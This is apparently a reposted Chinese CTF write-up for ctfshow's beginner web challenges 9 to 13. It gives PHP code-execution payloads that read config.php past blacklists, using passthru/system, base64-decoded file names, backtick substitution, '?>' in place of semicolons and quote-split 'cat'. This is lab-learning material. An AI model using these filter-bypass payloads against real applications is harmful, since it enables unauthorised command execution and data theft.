当前位置: 首页 > news >正文

ctfshow_萌新web9-web13-----rce

_萌新web9

?c=highlight_file("config.php");

_萌新web10

这题要绕过system<exec,highlight

?c=passthru("cat%20config.php");

_萌新web11

这次cat也给过滤掉了

查看文件内容的话可以使用 more命令来代替 cat

?c=passthru('more config.php')

_萌新web12

连‘.’,php,config文件名被过滤了

base64加密绕过

config.php经过加密为Y29uZmlnLnBocA==

构造:

?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru("more $a");

但是我一开始passthru里面用到单引号,没拿到flag

?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru('more $a');这个不对

PHP中的单引号和双引号在很多时候都是互通的,但是也存在区别:

其中的内容不会经过解释(\n不会输出为换行,而是直接输出),即内容会与输入的内容一致,

双引号中的内容将会被解释,即解析内容中的变量。

但是双引号中插入单引号,如果变量存在的话,还是可以执行的;如果所包含的变量需要解析时,要使用到双引号。

法二:反引号绕过

反引号``, 可以执行系统命令, 并返回一个字符串类型的变量, 用来保存命令的执行结果, 需要注意的是, 反引号``中的命令会先被执行并将结果以字符串类型的变量返回, 而后再参与到其他代码的执行, 类似一个函数

?c=echo `ls | grep con*`;

将返回结果作为文件名使用 more命令查看文件内容, 即可获取 flag

?c=passthru('more `ls | grep con*`');也可以成功拿到flag

_萌新web13

对分号;的过滤, 我们可以使用 ?> 代替 分号

?c=passthru('more `ls | grep con*`')?>

根据黑名单的不同,获取config.php的内容有以下几种方法:

1.命令执行函数

system()、passthru()、exec()、shell_exec()、popen()、proc_open()、pcntl_exec(

?c=passthru('cat config.php');

2.构造

?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

3.绕过cat命令

?c=system('more config.php');

?c=highlight_file('config.php');

?c=system('ca""t config.php');

?c=system("ca''t config.php");

?c=system('ca\t config.php');

4.绕过;

?>

http://www.dtcms.com/a/321502.html

相关文章:

  • Java面试初中级:线程池的主要参数有哪些?
  • GridKernalGateway
  • 谷粒商城:检索服务
  • WSL 安装 Ubuntu
  • 50系显卡ubuntu20.04安装显卡驱动,解决gazebo不调用显卡的问题
  • 接口自动化-YAML
  • 【其他分类】Showrunner AI版的Netflix 互动故事创作平台 进行动画生成与微调、角色场景创建
  • A100用transformers推理gpt-oss
  • 【无标题】无名管道
  • (第二篇)spring cloud之Eureka注册中心
  • JDK、eclipse的安装,配置JDK、Tomcat并使用eclipse创建项目
  • SpringBoot 处理 RESTful 服务中的异常与错误
  • 我和 ChatGPT:一次用 AI 反观自己的技术成长之旅
  • Android 中解决 Button 按钮背景色设置无效的问题
  • Redis 7主从复制与哨兵模式搭建
  • k8s-nfs实现创建sc的两种方式
  • ConcurrentDictionary 详解:.NET 中的线程安全字典
  • 并发编程(五)ThreadLocal
  • 生产环境Tomcat运行一段时间后,如何测试其性能是否满足后续使用
  • Rust语言序列化和反序列化vec<u8>,serde库Serialize, Deserialize,bincode库(2025年最新解决方案详细使用)
  • AI 智能体框架:LlamaIndex
  • 国内如何使用体验到GPT-5呢?附GPT快速升级Plus计划保姆级教程
  • 大模型量化上溢及下溢解析
  • 达梦DMFLDR导出和导入的方法
  • 以任务为中心的智能推荐系统架构设计:原理、实现与挑战分析
  • 深入理解Java集合框架:核心接口、实现类与实战选择
  • Vue2中,Promise.all()调用多个接口的用法
  • Numpy科学计算与数据分析:Numpy文件操作入门之数组数据的读取和保存
  • 智慧社区(十)——声明式日志记录与小区地图功能实现
  • 解决MinIO上传图片后返回URL无法访问的问题